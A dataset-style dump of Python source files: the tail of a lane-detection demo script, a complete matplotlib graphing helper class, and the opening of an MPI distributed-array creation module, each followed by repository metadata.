\"avi\")\r\n        # vout = cv2.VideoWriter(split[:-3] + \"avi\", fourcc, 30.0, (img_w, img_h)) # \u4fdd\u5b58\u7d50\u679c\u6210\u5f71\u7247\r\n        for i, data in enumerate(tqdm.tqdm(loader)): # \u9032\u5ea6\u689d\u986f\u793a\u9032\u5ea6\r\n            imgs, names = data # imgs: \u5716\u50cf\u5f35\u91cf\uff0c\u5716\u50cf\u76f8\u5c0d\u8def\u5f91\r\n            imgs = imgs.cuda() # \u4f7f\u7528GPU\r\n            with torch.no_grad(): # \u6e2c\u8a66\u78bc\u4e0d\u8a08\u7b97\u68af\u5ea6\r\n                out = net(imgs) # \u6a21\u578b\u9810\u6e2c \u8f38\u51fa\u5f35\u91cf: [1,101,56,4]\r\n\r\n            col_sample = np.linspace(0, 800 - 1, griding_num)\r\n            col_sample_w = col_sample[1] - col_sample[0]\r\n\r\n\r\n            out_j = out[0].data.cpu().numpy() # \u6578\u64da\u985e\u578b\u8f49\u63db\u6210numpy [101, 56, 4]\r\n            out_j = out_j[:, ::-1, :] # \u5c07\u7b2c\u4e8c\u7dad\u5ea6\u5012\u8457\u53d6[101, 56, 4]\r\n            prob = scipy.special.softmax(out_j[:-1, :, :], axis=0) # [100, 56, 4]softmax\u8a08\u7b97(\u6a5f\u7387\u6a19\u6e96\u5316\u52300-1\u4e4b\u9593\u4e14\u6cbf\u8457\u7dad\u5ea60\u6a5f\u7387\u7e3d\u548c=1)\r\n            idx = np.arange(griding_num) + 1 # \u7522\u751f0-100\r\n            idx = idx.reshape(-1, 1, 1) # [100, 1, 1]\r\n            loc = np.sum(prob * idx, axis=0) # [56, 4]\r\n            out_j = np.argmax(out_j, axis=0) # \u8fd4\u56de\u6700\u5927\u503c\u7684\u7d22\u5f15\r\n            loc[out_j == griding_num] = 0 # \u82e5\u6700\u5927\u503c\u7684\u7d22\u5f15 = griding_num, \u5247\u6b78\u96f6\r\n            out_j = loc # [56, 4]\r\n\r\n            # import pdb; pdb.set_trace()\r\n            vis = cv2.imread(os.path.join(data_root,names[0])) # \u8b80\u53d6\u5716\u50cf[720, 1280, 3]\r\n            for i in range(out_j.shape[1]): # \u8d70\u904d\u6240\u6709\u5217\r\n                if np.sum(out_j[:, i] != 0) > 2: # \u975e0\u55ae\u4f4d\u7684\u683c\u6578<2\r\n                    sum1 = np.sum(out_j[:, i] != 0)\r\n                    for k in range(out_j.shape[0]): # \u8d70\u904d\u6240\u6709\u884c\r\n                        if out_j[k, i] > 0:\r\n                            ppp = (int(out_j[k, i] * col_sample_w * img_w / 800) - 1, int(img_h * (row_anchor[cls_num_per_lane-1-k]/288)) - 1 )\r\n                            cv2.circle(vis,ppp,5,(0,255,0),-1)\r\n            # \u4fdd\u5b58\u6aa2\u6e2c\u7d50\u679c\u5716\r\n            cv2.imwrite(os.path.join(data_save, os.path.basename(names[0])), vis)\r\n        \r\n        # \u4fdd\u5b58\u5f71\u7247\u7d50\u679c\r\n        #     vout.write(vis)\r\n        \r\n        # vout.release()", "meta": {"hexsha": "af335735cbdfbf617590d2c48ef87b4a0db4b3b4", "size": 5690, "ext": "py", "lang": "Python", "max_stars_repo_path": "demo_custom.py", "max_stars_repo_name": "Polar-Tsai/Ultra-Fast-Lane-Detection", "max_stars_repo_head_hexsha": "d71affdedec48ef79cf465260124d2683a1ea322", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "demo_custom.py", "max_issues_repo_name": "Polar-Tsai/Ultra-Fast-Lane-Detection", "max_issues_repo_head_hexsha": "d71affdedec48ef79cf465260124d2683a1ea322", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "demo_custom.py", "max_forks_repo_name": "Polar-Tsai/Ultra-Fast-Lane-Detection", "max_forks_repo_head_hexsha": "d71affdedec48ef79cf465260124d2683a1ea322", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 38.1879194631, "max_line_length": 193, "alphanum_fraction": 0.5908611599, "include": true, "reason": "import numpy,import scipy", "num_tokens": 1919, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4726834766204329, "lm_q2_score": 0.11124120208786167, "lm_q1q2_score": 0.052581878146326616}}
{"text": "import matplotlib\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport warnings\r\n\r\nclass grapher(object):\r\n    \"\"\"\r\n    A simple class covering typical use of generating graphs.\r\n    Exmple of usage:\r\n    0) import class by using    \"from matgrapher import grapher\"\r\n    1) create new object i.e.   \"gr = grapher.grapher()\"\r\n    2) load labels              \"gr.loadLabels(label1, label2)\"\r\n    3) load data                \"gr.loadData(x_data1, y_data1, x_data2, y_data2)\"\r\n    4) generate graph           \"gr.generateGraph()\"\r\n    5) remove loaded data       \"gr.destroyGraphTable()\"\r\n    \"\"\"\r\n\r\n    def __init__(self):\r\n        self.x_table = []\r\n        self.y_table = []\r\n        self.contour_plots = []\r\n        self.point_table = [[], []]# x, y\r\n        self.point_colors = [[], []]# color (in hex or matplotlib), alpha\r\n        self.point_sizes = []\r\n        self.point_alpha_change = []\r\n        self.text_table = [[], []]\r\n        self.labels = []\r\n        self.xlim = []\r\n        self.ylim = []\r\n        self.linestyle = []\r\n        self.colors = []\r\n        self.show_label = []\r\n        self.graphTitle = \"Graph\"\r\n        self.axisNames = [\"X Values\", \"Y Values\"]\r\n        self.outputFilename = \"output/file.png\"\r\n        self.dpi = 300\r\n        self.plotSize = [15*1.5/2.54, 15*1.5/2.54]\r\n        self.showGrid = True\r\n        self.saveFile = True\r\n        self.showFigure = False\r\n        self.logscale = 'none'\r\n\r\n    def destroyGraphTable(self):\r\n        '''\r\n        Clean all data provided.\r\n        '''\r\n        for i in range(len(self.x_table)):\r\n            del self.x_table[0]\r\n        for i in range(len(self.y_table)):\r\n            del self.y_table[0]\r\n        for i in range(len(self.labels)):\r\n            del self.labels[0]\r\n        for i in range(len(self.linestyle)):\r\n            del self.linestyle[0]\r\n        for i in range(len(self.colors)):\r\n            del self.colors[0]\r\n        for i in range(len(self.point_table[0])):\r\n            del self.point_table[0][0]\r\n            del self.point_table[1][0]\r\n        for i in range(len(self.point_colors[0])):\r\n            del self.point_colors[0][0]\r\n            del self.point_colors[1][0]\r\n        for i in range(len(self.point_sizes)):\r\n            del self.point_sizes[0]\r\n        for i in range(len(self.point_alpha_change)):\r\n            del self.point_alpha_change[0]\r\n        for i in range(len(self.contour_plots)):\r\n            del self.contour_plots[0]\r\n        for i in range(len(self.text_table[0])):\r\n            del self.text_table[0][0]\r\n            del self.text_table[1][0]\r\n        return None\r\n\r\n    def loadLabels(self, label, *args):\r\n        '''\r\n        Load labels to internal array. Please provide them in order as x, y arguments were provided.\r\n        Arguments:\r\n        -> label (string) - label used in legend to describe a dataset,\r\n        -> *args (string, ...) - following labels if needed to load more than one in one step\r\n        '''\r\n        if(len(self.labels)+len(args)+1<len(self.x_table)):\r\n            warnings.warn(f\"Not all data sets ({len(self.x_table)}) are labeled.\")\r\n\r\n        self.labels.append(label)\r\n        self.show_label.append(True)\r\n        if(len(args)>0):\r\n            for i in range(len(args)):\r\n                self.labels.append(args[i])\r\n                self.show_label.append(True)\r\n\r\n    def loadData(self, x_argument, y_argument, *args):\r\n        '''\r\n        Load data to internal tables. Please provide it in pairs [x1, y1, x2, y2, ...]\r\n        Arguments:\r\n        -> x_argument ([float, ...]) - one dimensional array of x axis values,\r\n        -> y_argument ([float, ...]) - one dimensional array of y axis values.\r\n        '''\r\n        if(len(args)%2!=0):\r\n            warnings.warn(f\"Expected equal ammount of x and y data sets. Got ({int((len(args)+1)/2)}) and ({int((len(args)-1)/2)}).\")\r\n\r\n        self.x_table.append(x_argument.copy())\r\n        self.y_table.append(y_argument.copy())\r\n        if(len(args)>0):\r\n            for i in range(int(len(args)/2)):\r\n                self.x_table.append(args[2*i])\r\n                self.y_table.append(args[2*i+1])\r\n                \r\n    def createContourPlot(self, fn, xlist, ylist):\r\n        X, Y = np.meshgrid(xlist, ylist)\r\n        Z = fn(X, Y)\r\n        contour = [X, Y, Z]\r\n        self.contour_plots.append(contour)\r\n    \r\n    def loadPoints(self, point, *args):\r\n        '''\r\n        Load points to internal table.\r\n        If you wish to enable autocoloring of points, add \"autocolor:[color of the point set],[opacity level]\" string at the end of arguments.\r\n        If opacity level is not provided, it will be assumed as 1.0.\r\n        Arguments:\r\n        -> point ([float, float]) - list containing point coordinates.\r\n        '''\r\n        autocolor_flag = False\r\n        size_flag = False\r\n        command_line = None #a command line at the end of arguments\r\n        last_alpha = 0.0\r\n        if(len(self.point_colors[1])>0):\r\n            last_alpha = self.point_colors[1][-1]\r\n        if(not isinstance(point[0], list) and not isinstance(point[0], np.ndarray)):\r\n            self.point_table[0].append(point[0])\r\n            self.point_table[1].append(point[1])\r\n        else:\r\n            if(len(point[0])!=len(point[1])):\r\n                warnings.warn(\"Warning! Point data columns not equal in length! Not all points may be included.\")\r\n            for i in range(min([len(point[0]), len(point[1])])):\r\n                self.point_table[0].append(point[0][i])\r\n                self.point_table[1].append(point[1][i])\r\n        if(len(args)>0):\r\n            #check for command line at the end of arguments\r\n            if(type(args[-1])==str):\r\n                command_line = args[-1].split(\";\")\r\n            #check for autocolor at the end of args\r\n            for cmd in command_line:\r\n                #if 'size' option is enabled\r\n                if('size' in cmd):\r\n                    size = cmd.split(\":\")[-1]\r\n                    try:\r\n                        size = float(size)\r\n                    except:\r\n                        size = 20.0# autosizing, if user fails to provide correct size\r\n                    if(isinstance(point[0], list) or isinstance(point[0], np.ndarray)):\r\n                        for i in range(min([len(point[0]), len(point[1])])):\r\n                            self.point_sizes.append(size)\r\n                    else:\r\n                        self.point_sizes.append(size)\r\n                    size_flag = True\r\n                #if 'autocolor' option is enabled\r\n                if('autocolor' in cmd):\r\n                    color = cmd.split(\":\")[-1]#remove 'autocolor' from the argument\r\n                    # fixing autocolor string\r\n                    if(color == '' or color == 'autocolor'):# if user forgot to add color after autocolor\r\n                        color = '#4e4e4e,1.0'\r\n                    elif('autocolor' in color):#if 'autcolor' could not be removed (user forgot to add ':')\r\n                        color = color.split(\"autocolor\")[-1]# remove 'autocolor' forcefully\r\n                    else:\r\n                        # checking if user stated opacity correctly\r\n                        try:\r\n                            float(color.split(',')[-1])\r\n                        except:\r\n                            color = color.split(',')[0]+',1.0'\r\n                    autocolor_flag = True\r\n                    #colouring if the basic argument were list\r\n                    if(isinstance(point[0], list) or isinstance(point[0], np.ndarray)):\r\n                        for i in range(min([len(point[0]), len(point[1])])):\r\n                            self.point_colors[0].append(color.split(',')[0])\r\n                            self.point_colors[1].append(float(color.split(',')[1]))\r\n                            if(last_alpha!=self.point_colors[1][-1]):\r\n                                self.point_alpha_change.append(len(self.point_colors[1])-1)\r\n                                last_alpha = self.point_colors[1][-1]\r\n                    else:\r\n                        self.point_colors[0].append(color.split(',')[0])\r\n                        self.point_colors[1].append(float(color.split(',')[1]))\r\n                        if(last_alpha!=self.point_colors[1][-1]):\r\n                            self.point_alpha_change.append(len(self.point_colors[1])-1)\r\n                            last_alpha = self.point_colors[1][-1]\r\n            if(size_flag == False):\r\n                if(isinstance(point[0], list) or isinstance(point[0], np.ndarray)):\r\n                    for i in range(min([len(point[0]), len(point[1])])):\r\n                        self.point_sizes.append(20.0)\r\n                else:\r\n                    self.point_sizes.append(20.0)\r\n            #add additional points defined in the arguments\r\n            for i in range(len(args)):\r\n                if(autocolor_flag == True):\r\n                    if(i == len(args)-1):\r\n                        break\r\n                    self.point_colors[0].append(color.split(',')[0])\r\n                    self.point_colors[1].append(float(color.split(',')[1]))\r\n                if(size_flag==True):\r\n                    self.point_sizes.append(size)\r\n                if(size_flag==False):\r\n                    self.point_sizes.append(20.0)\r\n                self.point_table[0].append(args[i][0])\r\n                self.point_table[1].append(args[i][1])\r\n    \r\n    def changePointColor(self, color, point_index, end_point_index = None):\r\n        '''\r\n        Change color of a point or set of points in internal tables. If the point index is uknown, provide its position in form of a list.\r\n        Arguments:\r\n        -> color (string) - color of the point,\r\n        -> point_index (int or [float, float]) - index number or position of the point,\r\n        -> end_point_index (int or [float, float]) - index number or position of the last point of the set.\r\n        '''\r\n        if(isinstance(point_index, list)):\r\n            pos = [var for var, val in enumerate(zip(self.point_table[0], self.point_table[1])) if val[0]==point_index[0] and val[1]==point_index[1]]\r\n            for p in pos:\r\n                self.point_colors[p] = color\r\n            if(end_point_index != None):\r\n                if(isinstance(end_point_index, list)):\r\n                    end_pos = [var for var, val in enumerate(zip(self.point_table[0], self.point_table[1])) if val[0]==end_point_index[0] and val[1]==end_point_index[1]]\r\n                    for i in range(min(pos), max(end_pos)):\r\n                        self.point_colors[i] = color\r\n                else:\r\n                    for i in range(min(pos), end_point_index):\r\n                        self.point_colors[i] = color\r\n        else:\r\n            self.point_colors[point_index] = color\r\n            if(end_point_index != None):\r\n                if(isinstance(end_point_index, list)):\r\n                    end_pos = [var for var, val in enumerate(zip(self.point_table[0], self.point_table[1])) if val[0]==end_point_index[0] and val[1]==end_point_index[1]]\r\n                    for i in range(point_index, max(end_pos)):\r\n                        self.point_colors[i] = color\r\n                else:\r\n                    for i in range(point_index, end_point_index):\r\n                        self.point_colors[i] = color\r\n\r\n    def setPointColor(self, color, alpha = 1.0):\r\n        '''\r\n        Set color and transparency of a point.\r\n        Arguments:\r\n        -> color (string) - color of the point,\r\n        -> alpha (float) - level of point transparency (between 0.0 and 1.0).\r\n        '''\r\n        self.point_colors[0].append(color)\r\n        self.point_colors[1].append(alpha)\r\n\r\n    def loadText(self, text, position, *args):\r\n        '''\r\n        Load positioned text into internal table. Please provide arguments in pairs of text1, position1, text2, position2, ...\r\n        Arguments:\r\n        -> text (string) - string to be displayed\r\n        -> point ([float, float]) - list containing text position\r\n        '''\r\n        if(len(args)%2==1):\r\n            warnings.warn(f\"Warning! Data pairing (text, position) not complete. Expected even ammount of arguments, got odd. Last point will be set to [0.0, 0.0]\")\r\n        self.text_table[0].append(text)\r\n        self.text_table[1].append(position)\r\n        if(len(args)>0):\r\n            for i in range(int(len(args)/2)):\r\n                if(not isinstance(args[2*i+1], list)):\r\n                    warnings.warn(\"Warning! Wrong data type provided! Expected position as list, got \"+str(type(args[2*i+1]))+\". Aborting loading text.\")\r\n                    return None\r\n                self.text_table[0].append(args[2*i])\r\n                self.text_table[1].append(args[2*i+1])\r\n            if(i*2<len(args)-1 and i!=0):\r\n                self.text_table[0].append(args[-1])\r\n                self.text_table[1].append([0.0, 0.0])\r\n                \r\n    def hideLabel(self, label_index=False, label=''):\r\n        '''\r\n        Hide label from graph legend.\r\n        Arguments:\r\n        -> label_index (int or bool) - index of label to be hidden. Assign 'False' if more than one label is to be hidden.\r\n        -> label (string) - label or labels to be hidden if share the same text.\r\n        '''\r\n        if(label!=''):\r\n            if(label in self.labels):\r\n                for i in range(len(self.labels)):\r\n                    if(self.labels[i]==label):\r\n                        self.show_label[i]=False\r\n            else:\r\n                warning.warn(f\"Warning: No label {label} found!\")\r\n        else:\r\n            if(label_index!=False):\r\n                try:\r\n                    self.show_label[label_index] = False\r\n                except:\r\n                    warning.warn(f\"Warning: Could not hide label {label_index}. Size of label array is {len(self.show_label)}\")\r\n            \r\n    \r\n    def loadLineStyles(self, linestyle, *args):\r\n        self.linestyle.append(linestyle)\r\n        if(len(args)>0):\r\n            for i in range(len(args)):\r\n                self.linestyle.append(args[i])\r\n    \r\n    def changeLineStyle(self, index, newlinestyle, linestyle = '-'):\r\n        if(index == 'u'):\r\n            if(linestyle in self.linestyle):\r\n                for i in range(len(self.linestyle)):\r\n                    if(self.linestyle==linestyle):\r\n                        self.linestyle = newlinestyle\r\n        self.linestyle[index] = newlinestyle\r\n    \r\n    def loadColor(self, color, *args):\r\n        self.colors.append(color)\r\n        if(len(args)>0):\r\n            for cl in args:\r\n                self.colors.append(cl)\r\n    \r\n    def setAxisNames(self, X_axis, Y_axis):\r\n        self.axisNames = [X_axis, Y_axis]\r\n        \r\n    def setGraphTitle(self, graph_title):\r\n        self.graphTitle = graph_title\r\n    \r\n    def setFilename(self, filename):\r\n        self.outputFilename = filename\r\n        \r\n    def setExportMethod(self, method):\r\n        '''\r\n        Sets method of exporting file.\r\n        0 - save, don't show\r\n        1 - don't save, show\r\n        2 - save and show\r\n        '''\r\n        if(method!=0 and method!=1 and method!=2):\r\n            warnings.warn(f\"Warning: wrong export method provided: {method}. Falling back to method 1 (don't save, show)\")\r\n        if(method==0):\r\n            self.saveFile = True\r\n            self.showFigure = False\r\n        if(method==1):\r\n            self.saveFile = False\r\n            self.showFigure = True\r\n        if(method==2):\r\n            self.saveFile = True\r\n            self.showFigure = True\r\n    \r\n    def setGridVisibility(self, grid_visible):\r\n        self.showGrid = grid_visible\r\n    \r\n    def setLogscaleMethod(self, logscale_method):\r\n        self.logscale = logscale_method\r\n\r\n    def generateGraph(self, data_x=None, data_y=None, axis_names=None, x_lim = None, y_lim = None, graph_title=None, line_styles=None, colors = None, legend=None, legend_args = '', legend_position = '', filename=None, dpi=None, plot_size = None , grid = None, save=None, show=None, tight_layout=True, log_scale = None):\r\n        '''\r\n        Draw a graph based on provided data.\r\n        Arguments:\r\n        -> data_x ([float, ...]) - data shown as argument X of the drawn chart,\r\n        -> data_y ([float, ...]) - data shown as argument Y of the drawn chart,\r\n        -> axis_names ([string, string]) - table of axis names ([0] - X axis, [1] - Y axis]),\r\n        -> x_lim ([float, float]) - limits of x_axis (if an empty array is passed (default), no limits are imposed)\r\n        -> y_lim ([float, float]) - limits of y_axis (if an empty array is passed (default), no limits are imposed)\r\n        -> graph_title (string) - a title for drawn graph,\r\n        -> line_styles ([string, ...]) - line styles as matplotlib argument\r\n        -> colors ([string, ...]) - line colors as matplotlib argument\r\n        -> legend ([string, ...]) - tabe of labels used in legend,\r\n        -> legend_args (string) - arguments for plt.legend function\r\n        -> filename (string) - name for the output file,\r\n        -> dpi (int) - Dots Per Inch (resolution) of the exported graph,\r\n        -> plot_size ([float, float]) - size of the exported graph (in inches - conversion ratio cm->inch is 1/2.54),\r\n        -> grid (boolean) - argument for generating grid in the drawn graph\r\n        -> save (boolean) - flag for saving drawn graph\r\n        -> show (boolean) - flag for showing drawn graph\r\n        '''\r\n        #initializing graph arguments\r\n        if(data_x == None):\r\n            data_x = self.x_table\r\n        if(data_y == None):\r\n            data_y = self.y_table\r\n        if(axis_names == None):\r\n            axis_names = self.axisNames\r\n        if(x_lim == None):\r\n            x_lim = self.xlim\r\n        if(y_lim == None):\r\n            y_lim = self.ylim\r\n        if(graph_title == None):\r\n            graph_title = self.graphTitle\r\n        if(line_styles == None):\r\n            line_styles = self.linestyle\r\n        if(colors == None):\r\n            colors = self.colors\r\n        if(legend == None):\r\n            legend = self.labels\r\n        if(filename == None):\r\n            filename = self.outputFilename\r\n        if(dpi == None):\r\n            dpi = self.dpi\r\n        if(plot_size == None):\r\n            plot_size = self.plotSize\r\n        if(grid == None):\r\n            grid = self.showGrid\r\n        if(save == None):\r\n            save = self.saveFile\r\n        if(show == None):\r\n            show = self.showFigure\r\n        if(log_scale == None):\r\n            log_scale = self.logscale\r\n\r\n        lx = len(data_x)\r\n        ly = len(data_y)\r\n        if(lx!=ly):\r\n            raise Exception(f\"Error: Expected equal length of data_x ({lx}) and data_y ({ly}) arrays.\")\r\n        if(lx>len(legend) and len(legend)!=0):\r\n            warnings.warn(\"Warning: Not all provided data has been assigned with legend label.\")\r\n        if(lx<len(legend)):\r\n            warnings.warn(\"Warning: Provided more labels than data.\")\r\n    \r\n        plt.figure(figsize = (plot_size[0], plot_size[1]))\r\n        for data_set_index, (xd, yd) in enumerate(zip(data_x, data_y)):\r\n            if(data_set_index>=len(legend) or self.show_label[data_set_index]==False):\r\n                if(data_set_index>=len(line_styles)):\r\n                    if(data_set_index>=len(colors)):\r\n                        plt.plot(xd, yd)\r\n                    else:\r\n                        plt.plot(xd, yd, colors[data_set_index])\r\n                else:\r\n                    if(data_set_index>=len(colors)):\r\n                        plt.plot(xd, yd, linestyle=line_styles[data_set_index])\r\n                    else:\r\n                        plt.plot(xd, yd, linestyle=line_styles[data_set_index], color=colors[data_set_index])\r\n            else:\r\n                if(data_set_index>=len(line_styles)):\r\n                    if(data_set_index>=len(colors)):\r\n                        plt.plot(xd, yd, label = legend[data_set_index])\r\n                    else:\r\n                        plt.plot(xd, yd, label = legend[data_set_index], color=colors[data_set_index])\r\n                else:\r\n                    if(data_set_index>=len(colors)):\r\n                        plt.plot(xd, yd, label = legend[data_set_index], linestyle=line_styles[data_set_index])\r\n                    else:\r\n                        plt.plot(xd, yd, label = legend[data_set_index], linestyle=line_styles[data_set_index], color=colors[data_set_index])\r\n        if(len(legend)>0):\r\n            if(legend_args==''):\r\n                if(legend_position==''):\r\n                    plt.legend()\r\n                else:\r\n                    plt.legend(loc=legend_position)\r\n            else:\r\n                if(legend_position==''):\r\n                    plt.legend(legend_args)\r\n                else:\r\n                    plt.legend(legend_args, loc=legend_position)\r\n        \r\n        if(len(self.point_table[0])>0):\r\n            if(len(self.point_colors[0])>0):\r\n                if(len(self.point_sizes)>0):\r\n                    for i in range(len(self.point_alpha_change)-1):\r\n                        plt.scatter(self.point_table[0][self.point_alpha_change[i]:self.point_alpha_change[i+1]], self.point_table[1][self.point_alpha_change[i]:self.point_alpha_change[i+1]], c=self.point_colors[0][self.point_alpha_change[i]:self.point_alpha_change[i+1]], alpha = self.point_colors[1][self.point_alpha_change[i]], s=self.point_sizes[self.point_alpha_change[i]:self.point_alpha_change[i+1]])\r\n                    plt.scatter(self.point_table[0][self.point_alpha_change[-1]:], self.point_table[1][self.point_alpha_change[-1]:], c=self.point_colors[0][self.point_alpha_change[-1]:], alpha = self.point_colors[1][self.point_alpha_change[-1]], s=self.point_sizes[self.point_alpha_change[-1]:])\r\n                else:\r\n                    for i in range(len(self.point_alpha_change)-1):\r\n                        plt.scatter(self.point_table[0][self.point_alpha_change[i]:self.point_alpha_change[i+1]], self.point_table[1][self.point_alpha_change[i]:self.point_alpha_change[i+1]], c=self.point_colors[0][self.point_alpha_change[i]:self.point_alpha_change[i+1]], alpha = self.point_colors[1][self.point_alpha_change[i]])\r\n                    plt.scatter(self.point_table[0][self.point_alpha_change[-1]:], self.point_table[1][self.point_alpha_change[-1]:], c=self.point_colors[0][self.point_alpha_change[-1]:], alpha = self.point_colors[1][self.point_alpha_change[-1]])\r\n            else:\r\n                plt.scatter(self.point_table[0], self.point_table[1])\r\n\r\n        if(len(self.text_table)>0):\r\n            for i in range(len(self.text_table[0])):\r\n                plt.text(self.text_table[1][i][0], self.text_table[1][i][1], self.text_table[0][i])\r\n\r\n        if(len(self.contour_plots)>0):\r\n            for i in range(len(self.contour_plots)):\r\n                cp = plt.contourf(self.contour_plots[i][0], self.contour_plots[i][1], self.contour_plots[i][2], cmap='coolwarm')\r\n                plt.colorbar(cp)\r\n                #plt.clabel(cp, inline=True)\r\n\r\n        plt.xlabel(axis_names[0])\r\n        plt.ylabel(axis_names[1])\r\n        plt.title(graph_title)\r\n        plt.grid(grid)\r\n        if(len(x_lim)==2):\r\n            plt.xlim(x_lim[0], x_lim[1])\r\n        if(len(y_lim)==2):\r\n            plt.ylim(y_lim[0], y_lim[1])\r\n        if(log_scale=='y'):\r\n            plt.yscale('log')\r\n        if(log_scale=='x'):\r\n            plt.xscale('log')\r\n        if(log_scale=='xy'):\r\n            plt.yscale('log')\r\n            plt.xscale('log')\r\n        if(save):\r\n            if(tight_layout):\r\n                plt.savefig(filename, bbox_inches='tight', dpi=dpi)\r\n            else:\r\n                plt.savefig(filename, dpi=dpi)\r\n        if(show):\r\n            plt.show()\r\n        plt.close()\r\n", "meta": {"hexsha": "ec2ac0bcc062fec8ec0661e66ab97c52710466f2", "size": 23682, "ext": "py", "lang": "Python", "max_stars_repo_path": "matgrapher/grapher.py", "max_stars_repo_name": "BoredPlayer/matgrapher", "max_stars_repo_head_hexsha": "7f279f417dc6c48667abad32e2603fba6d2c3fe3", "max_stars_repo_licenses": ["BSL-1.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "matgrapher/grapher.py", "max_issues_repo_name": "BoredPlayer/matgrapher", "max_issues_repo_head_hexsha": "7f279f417dc6c48667abad32e2603fba6d2c3fe3", "max_issues_repo_licenses": ["BSL-1.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "matgrapher/grapher.py", "max_forks_repo_name": "BoredPlayer/matgrapher", "max_forks_repo_head_hexsha": "7f279f417dc6c48667abad32e2603fba6d2c3fe3", "max_forks_repo_licenses": ["BSL-1.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.3306122449, "max_line_length": 408, "alphanum_fraction": 0.5349632632, "include": true, "reason": "import numpy", "num_tokens": 5200, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.1159607258918425, "lm_q1q2_score": 0.052560572914942164}}
{"text": "\"\"\"\n============================================\nThe :mod:`mpi_array.globale_creation` Module\n============================================\n\nDefines :obj:`mpi_array.globale.gndarray` creation functions.\n\nOnes and zeros\n==============\n\n.. autosummary::\n   :toctree: generated/\n\n   empty - Create uninitialised array.\n   empty_like - Create uninitialised array same size/shape as another array.\n   eye - Return 2D array with ones on diagonal and zeros elsewhere.\n   identity - Return identity array.\n   ones - Create one-initialised array.\n   ones_like - Create one-initialised array same size/shape as another array.\n   zeros - Create zero-initialised array.\n   zeros_like - Create zero-initialised array same size/shape as another array.\n   full - Create *fill value* initialised array.\n   full_like - Create *fill value* initialised array same size/shape as another array.\n\n\nFrom existing data\n==================\n\n.. autosummary::\n   :toctree: generated/\n\n   array - Returns :obj:`mpi_array.globale.gndarray` equivalent of input.\n   asarray - Returns :obj:`mpi_array.globale.gndarray` equivalent of input.\n   asanyarray - Returns :obj:`mpi_array.globale.gndarray` equivalent of input.\n   copy - Create a replica of a specified array.\n\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport numpy as _np\n\nfrom .license import license as _license, copyright as _copyright, version as _version\nfrom . import logging as _logging  # noqa: E402,F401\nfrom . import locale as _locale\nfrom . import comms as _comms\nfrom . import globale as _globale\n\n__author__ = \"Shane J. Latham\"\n__license__ = _license()\n__copyright__ = _copyright()\n__version__ = _version()\n\n\ndef empty(\n    shape=None,\n    dtype=\"float64\",\n    order='C',\n    comms_and_distrib=None,\n    intra_partition_dims=None,\n    **kwargs\n):\n    \"\"\"\n    Creates array of uninitialised elements.\n\n    :type shape: :samp:`None` or sequence of :obj:`int`\n    :param shape: **Global** shape to be distributed amongst\n       memory nodes.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Data type of array elements.\n    :type order: :samp:`{'C', 'F'}`\n    :param order: Only :samp:`'C'` implemented.\n       Whether to store multi-dimensional data in row-major (C-style)\n       or column-major (Fortran-style) order in memory.\n    :type comms_and_distrib: :obj:`numpy.dtype`\n    :param comms_and_distrib: Data type of array elements.\n    :rtype: :obj:`mpi_array.globale.gndarray`\n    :return: Newly created array with uninitialised elements.\n    \"\"\"\n    if comms_and_distrib is None:\n        comms_and_distrib = _comms.create_distribution(shape, **kwargs)\n    lndarray_proxy, rma_window_buffer = \\\n        _locale.empty(\n            comms_and_distrib=comms_and_distrib,\n            dtype=dtype,\n            order=order,\n            return_rma_window_buffer=True,\n            intra_partition_dims=intra_partition_dims\n        )\n    ary = \\\n        _globale.gndarray(\n            comms_and_distrib=comms_and_distrib,\n            rma_window_buffer=rma_window_buffer,\n            lndarray_proxy=lndarray_proxy\n        )\n\n    return ary\n\n\ndef empty_like(ary, dtype=None, order='K', subok=True, **kwargs):\n    \"\"\"\n    Return a new array with the same shape and type as a given array.\n\n    :type ary: :obj:`numpy.ndarray`\n    :param ary: Copy attributes from this array.\n    :type dtype: :obj:`numpy.dtype`\n    :param dtype: Specifies different dtype for the returned array.\n    :type order: :samp:`{'C', 'F', 'A', or 'K'}`\n    :param order: Only :samp:`'K'` implemented.\n        Overrides the memory layout of the result. :samp:`'C'` means C-order, :samp:`'F'`\n        means F-order, :samp:`'A'` means :samp:`'F'` if a is Fortran\n        contiguous, :samp:`'C'` otherwise. :samp:`'K'` means match the layout\n        of :samp:`{ary}` as closely as possible.\n    :type subok: :obj:`bool`\n    :param subok: Ignored.\n       If True, then the newly created array will use the sub-class type of :samp:`{ary}`,\n       otherwise it will be a base-class array. Defaults to True.\n    :rtype: :samp:`type(ary)`\n    :return: Array of uninitialized (arbitrary) data with the same shape and type as :samp:`{ary}`.\n    \"\"\"\n    if dtype is None:\n        dtype = ary.dtype\n    if order == 'K':\n        order = 'C'\n\n    if (isinstance(ary, _globale.gndarray)):\n        ret_ary = \\\n            empty(\n                dtype=ary.dtype,\n                comms_and_distrib=ary.comms_and_distrib,\n                order=order,\n                intra_partition_dims=ary.lndarray_proxy.intra_partition_dims\n            )\n    else:\n        ary = _np.asanyarray(ary)\n        ret_ary = empty(ary.shape, dtype=ary.dtype, order=order, **kwargs)\n\n    return ret_ary\n\n\ndef full(\n    shape=None,\n    fill_value=0,\n    *args,\n    **kwargs\n):\n    \"\"\"\n    Return a new array of given shape and type, filled with :samp:`fill_value`.\n\n    :type shape: :samp:`None` or sequence of :obj:`int`\n    :param shape: **Global** shape to be 